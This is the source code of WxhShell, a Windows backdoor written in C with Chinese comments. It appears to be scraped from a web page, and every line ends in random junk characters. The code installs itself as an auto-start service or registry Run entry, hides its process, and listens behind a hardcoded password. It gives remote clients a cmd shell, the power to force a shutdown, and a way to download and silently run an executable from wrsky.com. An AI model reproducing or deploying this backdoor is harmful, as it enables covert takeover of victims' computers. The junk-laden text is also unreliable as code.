  // 关机 KXQ &u{[<  
  case 'd': { %]2hxTV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0I`)<o-  
    if(Boot(SHUTDOWN)) Cm~Pn "K_]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NM`5hd{  
    else { /{[Y l[{"<  
    closesocket(wsh); v `a:Lj  
    ExitThread(0); .;1tu+S  
    } j>{Dbl:#2  
    break; W7_j;7'  
    } eNwF<0}  
  // 获取shell <K(qv^C  
  case 's': { iB]xYfQ&@V  
    CmdShell(wsh); -|"[S"e  
    closesocket(wsh); Q1A_hW2x  
    ExitThread(0); Hd/|f;  
    break; `Mh 3v@K:  
  } +PlA#DZu  
  // 退出 ?=bqya"Y  
  case 'x': { =02$Dwr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [{i"Au]  
    CloseIt(wsh); )}/ ycTs  
    break; WS!:w'rzr  
    } H8'q Y  
  // 离开 #{m~=1%;Ya  
  case 'q': { /#lqv)s'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); vky@L!&,  
    closesocket(wsh); nRE(Rb Re  
    WSACleanup(); >{v,H Oxl  
    exit(1); 2ncD,@ij  
    break; sRMz[n 5k  
        } 0Z m^6T  
  } !a.|URa7  
  } q)m0n237P  
;ewqGDe'3  
  // 提示信息 XY_zF F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sU|\? pJ  
} v_ U$jjO1  
  } >!D^F]CH  
+E7Os|m  
  return; LA837P  
} '{[n,xeR  
 W0&x0  
// shell模块句柄 (uxe<'Co|  
int CmdShell(SOCKET sock) E .'v,GYe  
{ dr[sSBTY"  
STARTUPINFO si; :rBPgrt  
ZeroMemory(&si,sizeof(si)); _K4E6c_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zc`gm~@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1@i|[dq  
PROCESS_INFORMATION ProcessInfo; =(3Yj[>st  
char cmdline[]="cmd"; YV{^2)^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xk#q_!(j  
  return 0; TI<?h(*R_  
} Hdn%r<+c  
>,9ah"K_x  
// 自身启动模式 a(eKb2CX  
int StartFromService(void) >, 9R :X(  
{ LwI A4$d  
typedef struct  jO5,PTV  
{ e2dg{n$6"  
  DWORD ExitStatus; XHh!Q0v;  
  DWORD PebBaseAddress; l9P=1TL  
  DWORD AffinityMask; B1U<m=Y  
  DWORD BasePriority; L,+m5wKj[  
  ULONG UniqueProcessId; }g9g]\.!a  
  ULONG InheritedFromUniqueProcessId; #H5i$ o  
}   PROCESS_BASIC_INFORMATION; V?zCON  
+NT8dd  
PROCNTQSIP NtQueryInformationProcess; n9w(Z=D\  
.,9e~6}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <b,oF]+;z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #$^vP/"$  
TOx >Z  
  HANDLE             hProcess; Po1/_# mu  
  PROCESS_BASIC_INFORMATION pbi; @CUYl*.PD  
B*3<(eI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9sI&&Jg  
  if(NULL == hInst ) return 0; TpH-_ft  
!!\x]$v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fN!lXPgM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); I;g>r8N-Bu  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h6(\ tRd!\  
i>aIuQ`pe  
  if (!NtQueryInformationProcess) return 0; /7CV7=^d,  
us7t>EMmB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /n3Qcht  
  if(!hProcess) return 0; ^D5+ S`V  
J P1XH k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "|^-Yk\U  
O,[9E  
  CloseHandle(hProcess); 8JFvz(SK>  
_wp_y-"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wV\.NQtS  
if(hProcess==NULL) return 0; lvd `_+P$  
5kx-s6 `!  
HMODULE hMod; ~#];&WE  
char procName[255]; -FGM>~x  
unsigned long cbNeeded;  X? l5}  
"sUjJ|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Iy#=Nq=  
o FS2*u  
  CloseHandle(hProcess); =3dR-3  
WdZ_^  
if(strstr(procName,"services")) return 1; // 以服务启动 35KRJY#  
hCPyCq]  
  return 0; // 注册表启动 wec_=E qK0  
} cfC}"As  
%}}?Y`/W )  
// 主模块 ^5n#hSqZ=M  
int StartWxhshell(LPSTR lpCmdLine) j_{f(.5  
{ 3]li3B'  
  SOCKET wsl; =oT4!OUf  
BOOL val=TRUE; !!+LFe4su  
  int port=0; t\XA JU  
  struct sockaddr_in door; r7jh)Q;BbR  
:SD#>eD0  
  if(wscfg.ws_autoins) Install(); }Y!v"DO#Q*  
5q;c=oRUj  
port=atoi(lpCmdLine); `rest_vu  
hYbaVE  
if(port<=0) port=wscfg.ws_port; 'm TQ=1  
7DPxz'7):  
  WSADATA data; L]* 5cH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L_Xbca=  
8gxo{<,9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]YrgkC35  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %z6_,|%  
  door.sin_family = AF_INET; "BZL*hHq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); RqKkB8g  
  door.sin_port = htons(port); 69S*\'L  
F<4>g+Ag  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9I[k3  
closesocket(wsl); $/crb8-C  
return 1; "$.B@[iY@  
} .sSbU^U  
TF?~vS%@P  
  if(listen(wsl,2) == INVALID_SOCKET) { X#o<))  
closesocket(wsl); /5X_gjOL,  
return 1; uN=f( -"  
} Z^c\M\`7  
  Wxhshell(wsl); ^"iJ  
  WSACleanup(); @D$ogU,#  
|j4p  
return 0; a1shP};pK  
nG%<n  
} 8~sC$sIlE  
_:>t$* _  
// 以NT服务方式启动 X!6$<8+1OV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )"J1ET,z  
{ _ BoA&Ism  
DWORD   status = 0; n}C0gt-  
  DWORD   specificError = 0xfffffff; WidLUv   
1'H!S%fS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; n5y0$S/ D  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  &\ K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +LlAGg]Z  
  serviceStatus.dwWin32ExitCode     = 0; !{CaW4  
  serviceStatus.dwServiceSpecificExitCode = 0; _zkTx7H  
  serviceStatus.dwCheckPoint       = 0; Q$Rp?o&  
  serviceStatus.dwWaitHint       = 0; 3 bT?4  
b#*"eZj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XePGOw))O  
  if (hServiceStatusHandle==0) return; L) UCVm  
!DD4Bqez  
status = GetLastError(); hW`o-'  
  if (status!=NO_ERROR) TAq[g|N-;  
{ ;M"[dy`dY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kG5Uc8 3#G  
    serviceStatus.dwCheckPoint       = 0; $wbIe"|  
    serviceStatus.dwWaitHint       = 0; ANfy+@  
    serviceStatus.dwWin32ExitCode     = status; *J{E1])<a  
    serviceStatus.dwServiceSpecificExitCode = specificError; g9Ty%|Q7(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^O}J',Fm%f  
    return; C=bQ2t=Z  
  } 1@9M[_<n5  
53?Ati\Y)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CdMV(  
  serviceStatus.dwCheckPoint       = 0; ^>^h|$  
  serviceStatus.dwWaitHint       = 0; cYBjsN(!A|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _UY=y^ c0>  
} {Es1bO  
0Hx'C^m72  
// 处理NT服务事件,比如:启动、停止 ZZ/k7(8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w_DaldK*  
{ 7`e<H8g  
switch(fdwControl) p.H`lbVY  
{ ,!X:wY}dW  
case SERVICE_CONTROL_STOP: "1`w>(=  
  serviceStatus.dwWin32ExitCode = 0; KUC%Da3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Qwp2h"t`  
  serviceStatus.dwCheckPoint   = 0; q\<NW%KtX  
  serviceStatus.dwWaitHint     = 0; ~6+Um_A_L  
  { _#uRKy<`N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .EvP%A m  
  } ,1]VY/  
  return; (j(9'DjP  
case SERVICE_CONTROL_PAUSE: ]:m4~0^#-(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #4!f/dWJp  
  break; x![G'I  
case SERVICE_CONTROL_CONTINUE: gZ-:4G|J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; PnL?zae  
  break; er2;1TW3E  
case SERVICE_CONTROL_INTERROGATE: Q.\vN-(  
  break; {Z1-B60P  
}; Y![8-L|Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $"k1^&&E  
} %IDl+_j  
s.XxYXR\  
// 标准应用程序主函数 ?}S!8;d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -y[y.#o  
{ r"p"UW9og  
O;T)u4Q&3  
// 获取操作系统版本 .'4@Yp{=  
OsIsNt=GetOsVer(); P ?96;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); j 20m Z  
\&U"7gSL  
  // 从命令行安装 jpOcug`f  
  if(strpbrk(lpCmdLine,"iI")) Install(); s?fEorG  
1v<uA9A%[  
  // 下载执行文件 AgB$ w4  
if(wscfg.ws_downexe) { ~ H"-km"@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *OHjw;xm+  
  WinExec(wscfg.ws_filenam,SW_HIDE); " Lh XR  
} Uo[`AzD3  
Vg mYm~y'  
if(!OsIsNt) { 84s:cO  
// 如果时win9x,隐藏进程并且设置为注册表启动 rP/W,! 7:K  
HideProc(); <l>L8{-3  
StartWxhshell(lpCmdLine); Zc*#LsQh.`  
} 8^R~qpg%  
else 6 \ %#=GG  
  if(StartFromService()) };*&;GFe  
  // 以服务方式启动 . ywVGBvJ  
  StartServiceCtrlDispatcher(DispatchTable); ~dLe9-_9  
else Rn{X+b.  
  // 普通方式启动 |Z$)t%'  
  StartWxhshell(lpCmdLine); 6^FUuj.  
U;gy4rj  
return 0; SL_JA  
} "\M3||.!  
5 L-6@@/  
q\~D:z$+CO  
9A}y^=!`  
=========================================== 9D yy&$s  
0_t9;;y :  
0f;|0siTAm  
~Q=^YZgn8  
-or)NE  
j3>&Su>H4  
" 0iz\<' p  
lnV!Xuf  
#include <stdio.h> w" A{R  
#include <string.h> 5)gC<  
#include <windows.h> /8P7L'Rb  
#include <winsock2.h> 1NK,:m  
#include <winsvc.h> |;YDRI  
#include <urlmon.h> 0X%#9s ~  
'/X m%S  
#pragma comment (lib, "Ws2_32.lib") <_4'So>  
#pragma comment (lib, "urlmon.lib") B<,AI7  
"h&[6-0'  
#define MAX_USER   100 // 最大客户端连接数 >E>'9@Uh  
#define BUF_SOCK   200 // sock buffer *bi;mQ  
#define KEY_BUFF   255 // 输入 buffer {65_k  
FXid=&T@0D  
#define REBOOT     0   // 重启 yeV|j\TJI.  
#define SHUTDOWN   1   // 关机  j 2e|  
"}uV=y  
#define DEF_PORT   5000 // 监听端口 )N&95\ u  
P_M!h~  
#define REG_LEN     16   // 注册表键长度 M7neOQHq  
#define SVC_LEN     80   // NT服务名长度 N2Cf(  
59(} D'lw>  
// 从dll定义API AHLXmQl  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); CW~c<,"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zBqNE`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -nB. .q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  ;.~D!  
Qs_]U  
// wxhshell配置信息 qn` \g  
struct WSCFG { ~|`jIqU  
  int ws_port;         // 监听端口 eak+8URo  
  char ws_passstr[REG_LEN]; // 口令 Kp/l2?J"  
  int ws_autoins;       // 安装标记, 1=yes 0=no KocNJ TB  
  char ws_regname[REG_LEN]; // 注册表键名 <;dFiI-GO#  
  char ws_svcname[REG_LEN]; // 服务名 *YTv"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 DXfQy6k'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zB+zw\ncN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hj3wxH.}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <;NxmO<%\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" oh >0}Gc8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /Fp@j/50  
DcZ,a E]  
}; *GM.2``e  
<*djtO  
// default Wxhshell configuration <GoZ>  
struct WSCFG wscfg={DEF_PORT, VqdR  
    "xuhuanlingzhe", c)17[9"  
    1, 'tq4-11xB  
    "Wxhshell", qApf\o3[0  
    "Wxhshell", g<MCvC@  
            "WxhShell Service", '_o(I  
    "Wrsky Windows CmdShell Service", Qx77%L4  
    "Please Input Your Password: ", 2QV|NQSl  
  1, [L>AU; :  
  "http://www.wrsky.com/wxhshell.exe", 3F9AnS  
  "Wxhshell.exe" ^1[u'DW4  
    }; ~ 6Hi"w  
s C?-L  
// 消息定义模块 w0fFm"A|W  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; stlkt>9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bH_zWk  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h,P#)^"  
char *msg_ws_ext="\n\rExit."; b'G!)n  
char *msg_ws_end="\n\rQuit."; Z~ DR,:  
char *msg_ws_boot="\n\rReboot..."; GhY MO6Q4  
char *msg_ws_poff="\n\rShutdown..."; KoTQc0b!  
char *msg_ws_down="\n\rSave to "; Z`kI6  
~.8p8\H  
char *msg_ws_err="\n\rErr!"; N uq/y=  
char *msg_ws_ok="\n\rOK!"; R(DlJ  
0uf)6(f  
char ExeFile[MAX_PATH]; Cb;49;q  
int nUser = 0; 47 9yG/+\  
HANDLE handles[MAX_USER]; =^gZJ@  
int OsIsNt; BW&)Zz  
$rmfE  
SERVICE_STATUS       serviceStatus; VeWvSIP,EQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +[$ Q C*  
^EmI;ks  
// 函数声明 [V.#w|n  
int Install(void); CqbPUcK  
int Uninstall(void); L:RMZp*bK  
int DownloadFile(char *sURL, SOCKET wsh); e'1}5Ky  
int Boot(int flag); wdTjJf r  
void HideProc(void); j43-YdCJ  
int GetOsVer(void); 8yn}|Y9Fu  
int Wxhshell(SOCKET wsl); :sXn*k4v  
void TalkWithClient(void *cs); 1A-ess\  
int CmdShell(SOCKET sock); o-%DL*^5  
int StartFromService(void); N?krlR  
int StartWxhshell(LPSTR lpCmdLine); 8^6dK  
eU.HS78  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6$*ZH *  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); khtYn.eaL  
or]kXefG3  
// 数据结构和表定义 fI1,L"  
SERVICE_TABLE_ENTRY DispatchTable[] = QAmb_:^"d  
{ D "9Hv3  
{wscfg.ws_svcname, NTServiceMain}, bClMM  
{NULL, NULL} Q7@.WG5  
}; a}MSA/K(  
U<H< !NV  
// 自我安装 %>Y86>mVz  
int Install(void) 9py *gN#  
{ O+Qt8,  
  char svExeFile[MAX_PATH]; -<Zs7(  
  HKEY key; `8rInfV  
  strcpy(svExeFile,ExeFile); YFY$iN~B,  
|T@\ -8Ok  
// 如果是win9x系统,修改注册表设为自启动 @,{', =L6  
if(!OsIsNt) { &?mJL0fy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ME%W,B.|"s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V"{+cPBO)  
  RegCloseKey(key); :RE.md  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A$]&j5nh|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l3C%`[MB  
  RegCloseKey(key); }^ np  
  return 0; <Fa]k'<^)  
    } g1s\6%g  
  } %t:pG}A>:C  
} ``p( )^zT  
else { (d2|r)O  
U ,wJ8  
// 如果是NT以上系统,安装为系统服务 ~@wM[}ThP$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]c'12 g]h  
if (schSCManager!=0) xF4>G0  
{ H=j&uv8  
  SC_HANDLE schService = CreateService - s,M+Q(<  
  ( =6sL}$  
  schSCManager, :"4Pr/}rT  
  wscfg.ws_svcname, DcQ[zdEz+  
  wscfg.ws_svcdisp, 6.!Cm$l  
  SERVICE_ALL_ACCESS, = UT^5cl(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "5,tEP!  
  SERVICE_AUTO_START, SCZ6:P"$qX  
  SERVICE_ERROR_NORMAL, vxRy7:G"  
  svExeFile, DFKumw>!  
  NULL, Gx]J6Z8  
  NULL, !5;A.f  
  NULL, [8o!X)  
  NULL, YGj3W.eH  
  NULL A@kp` -  
  ); +v`?j+6z  
  if (schService!=0) ]H4T80wm&  
  { ^" EsBt  
  CloseServiceHandle(schService); EN =oA P  
  CloseServiceHandle(schSCManager); Gqz<;y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8Q%rBl.  
  strcat(svExeFile,wscfg.ws_svcname); q-g3!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >Bj+!)96q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J4Ix\r_  
  RegCloseKey(key); I}#_Jt3R  
  return 0; pt rQ~m-  
    } sMq*X^z )?  
  } =X0"!y"  
  CloseServiceHandle(schSCManager); I'_u4  
} yH'vhtop  
} V?a+u7*U&  
SOq{`~,4B  
return 1; $R'  
} Iq@:n_~  
TfD]`v`]   
// 自我卸载 }E\ b_.  
int Uninstall(void) 1@j0kTJ~m  
{ D]H@Sx  
  HKEY key; J;K-Pv +  
+wAH?q8f  
if(!OsIsNt) { B>hC8^.S|w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dU7+rc2,CU  
  RegDeleteValue(key,wscfg.ws_regname); S}/?L m}  
  RegCloseKey(key); bOt6q/f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CLb~6LD  
  RegDeleteValue(key,wscfg.ws_regname); /.'tfy $  
  RegCloseKey(key); Vt {uG  
  return 0; ;\F3~rl  
  } %6\e_y%  
} wF +9Iu  
} |mSFa8G@  
else { eY)JuJ?  
U#I 8Rd I,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l (EDe  
if (schSCManager!=0) Ue>;h9^  
{ 3;wAm/Z:Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "ooq1 0P  
  if (schService!=0) )jM' x&Vg  
  { tgy= .o]  
  if(DeleteService(schService)!=0) { +1Qa7 \  
  CloseServiceHandle(schService); (v11;kdJB  
  CloseServiceHandle(schSCManager); 0Q81$% @<  
  return 0; I[r  
  } Qi 3di  
  CloseServiceHandle(schService);  q q%\  
  } {*gO1TZt9  
  CloseServiceHandle(schSCManager); _Eus<c  
} 9] i$`y  
} 8 JOfx  
=J2\"6BnzA  
return 1; o"^+i#H!  
} K,uTO7Mk[  
G~SgI>Q  
// 从指定url下载文件 5 pJ)OX  
int DownloadFile(char *sURL, SOCKET wsh) v8 Q/DJ~  
{ WE_jT1^/  
  HRESULT hr; CdxEY  
char seps[]= "/"; >zYO1.~  
char *token; L/2{}l>D  
char *file; 5_bIc=L1  
char myURL[MAX_PATH]; |T!^&t  
char myFILE[MAX_PATH]; S,9}p 1  
v9<7=D&x  
strcpy(myURL,sURL);  b)7uz>I  
  token=strtok(myURL,seps); (AHZmi V  
  while(token!=NULL) ZG=B'4W  
  { t7A '  
    file=token;  U>0' K3_  
  token=strtok(NULL,seps); l>l)m-;O  
  } 1`t4wD$/  
Ee&A5~  
GetCurrentDirectory(MAX_PATH,myFILE); I)wjTTM5  
strcat(myFILE, "\\"); -P|EV|8=  
strcat(myFILE, file); ^%)H;  
  send(wsh,myFILE,strlen(myFILE),0); BUH~aV  
send(wsh,"...",3,0); ,XD'f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SfKm]Z>Hp  
  if(hr==S_OK) [iJU{W  
return 0; ( K5w0  
else a&>Tk%  
return 1; k=t\  
pEUbP,3M:  
} #[.vfG  
|K},f,  
// 系统电源模块 \ (y6o}aW  
int Boot(int flag) [ \I&/?On  
{ vmI2o'zi  
  HANDLE hToken; g+5{&YD  
  TOKEN_PRIVILEGES tkp; ;>*l?m-S@n  
]=2wQ8  
  if(OsIsNt) { pdcP;.   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Yg 8AMi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Kjbz\~  
    tkp.PrivilegeCount = 1; v 4@=>L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @"BvyS,p  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); . &dh7` l  
if(flag==REBOOT) { [ emUyF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kcy?;b;z  
  return 0; `v*UY  
} ISHNeO8  
else { f wN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wRgh`Hc\}  
  return 0; ->DfT*)  
} = > .EDL.  
  } SHw%u~[hu  
  else { P;%4Imq3  
if(flag==REBOOT) { y'(bp=Nq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9N(<OY+Dgm  
  return 0; kyQUaFG  
} !^Mk5E(  
else { 3 y!yz3E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M8Y\1#~  
  return 0; [ m*=Q  
} l~.}#$P]  
} 5#~ARk*?a  
jr@u  
return 1; b .9]b  
} 7g(,$5  
ebk{p <  
// win9x进程隐藏模块 /1X0h  
void HideProc(void) 7 4rmxjiN  
{ x)6yWr[ri%  
wH&Rjn  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zh5{t0E}C  
  if ( hKernel != NULL ) 'jp nQcwxx  
  { F{*S}&q*)o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *&X.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u@SE)qg  
    FreeLibrary(hKernel); HR'r~ #j  
  } \A`pF'50  
}{*((@GY}  
return; yb BLBJb  
} csTX',c  
Zf<M14iM  
// 获取操作系统版本 1nh2()QI[  
int GetOsVer(void) V}732?Jy  
{ ;EP]A3  
  OSVERSIONINFO winfo; gkS#=bv9e@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U6qv8*~  
  GetVersionEx(&winfo); juuBLv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yn<z!z%mz  
  return 1; {Q8DPkW  
  else mg)lr&-b  
  return 0; Ak%M,``(L  
} *zX*k 7LnV  
le`&VdE^  
// 客户端句柄模块 +v%V1lf^~  
int Wxhshell(SOCKET wsl) U:>'^tkp  
{ V#!ihL/>  
  SOCKET wsh; p8y_uN QE  
  struct sockaddr_in client; F.?`<7  
  DWORD myID; /_E:sI9(  
0~RsdQGqC  
  while(nUser<MAX_USER) xbrxh-gV  
{ &|P@$O>  
  int nSize=sizeof(client); 5gW`;Cdbyc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W<TW6_*e  
  if(wsh==INVALID_SOCKET) return 1; R3F>"(P@tS  
L7mN&Xr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qVC_K/w 7  
if(handles[nUser]==0) ,.tT9? m  
  closesocket(wsh); 0Mt2Rg}  
else I.tJ4  
  nUser++; La? q>  
  } !*u5HVn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gs 8w/  
C1P{4 U  
  return 0; {6)fZpd)@  
} +V1EqC*  
d9|dHJf  
// 关闭 socket CmRn  
void CloseIt(SOCKET wsh) W5(t+$L.  
{ B{a:cz>0<  
closesocket(wsh); MQE=8\  
nUser--; ( gO?-0  
ExitThread(0); s W+YfJT  
} cO<]%L0  
GmtMA|  
// 客户端请求句柄 !`\W8JT+  
void TalkWithClient(void *cs) b>E%&sf  
{ F }pS'Y  
>h<eEv/  
  SOCKET wsh=(SOCKET)cs; m(nlu  
  char pwd[SVC_LEN]; [V{JuG;s  
  char cmd[KEY_BUFF]; u_@%}zo?5*  
char chr[1]; jd l1Q<Z  
int i,j; :7Rs$ -*Uk  
(y^oGY;  
  while (nUser < MAX_USER) { "*laY<E  
4DEsB)%X  
if(wscfg.ws_passstr) { *]z.BZI:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <,Sy:>:"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VbM5]UT/  
  //ZeroMemory(pwd,KEY_BUFF); yt>Pf <AI  
      i=0; )]J I Q"rR  
  while(i<SVC_LEN) { |_F-Abk  
Jl Q%+$  
  // 设置超时 KU-z;}9s  
  fd_set FdRead; oHI~-{m3)  
  struct timeval TimeOut; pW:h\}%`n  
  FD_ZERO(&FdRead); N$pwTyk  
  FD_SET(wsh,&FdRead); 10}oaL S  
  TimeOut.tv_sec=8; 7zr\AgV9  
  TimeOut.tv_usec=0; |{PQ0DS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); '`"LX!"ZO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @M#2T  
FtM7+>Do.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZyCAl9{p  
  pwd=chr[0]; z(.$>O&6H  
  if(chr[0]==0xd || chr[0]==0xa) { }K~JM1(26  
  pwd=0; dtA- 4Ndm  
  break; 7b+OIZB  
  } "1%<IqpU+  
  i++; Ez?vJDd  
    } zIF &ZYP  
0#K@^a  
  // 如果是非法用户,关闭 socket :N8D1e-a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n,PHfydqX  
} ] |u}P2  
yel>-=Vn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W:(:hT6`j9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =#BeAsFfO  
~lDLdUs  
while(1) { {6 #3`  
3Xd+>'H  
  ZeroMemory(cmd,KEY_BUFF); JTx}{kVO  
%M}zi'qQ?  
      // 自动支持客户端 telnet标准   Ub3,x~V  
  j=0; `yQHPN0/  
  while(j<KEY_BUFF) { <ya'L&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !-N!8 0  
  cmd[j]=chr[0]; .&sguAyG  
  if(chr[0]==0xa || chr[0]==0xd) { ` t6lnO  
  cmd[j]=0; g,,cV+  
  break; @lTUag'U0  
  } LrPDpTd  
  j++; 'Fonn  
    } gKYn*  
T&R`s+7  
  // 下载文件 A:D\!5=  
  if(strstr(cmd,"http://")) { s|,]Nb=z/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $hKgTf?  
  if(DownloadFile(cmd,wsh)) RLKO0 #  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1Rczf(,aT  
  else qWanr7n]@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wz, \zh  
  } UoLO#C0i  
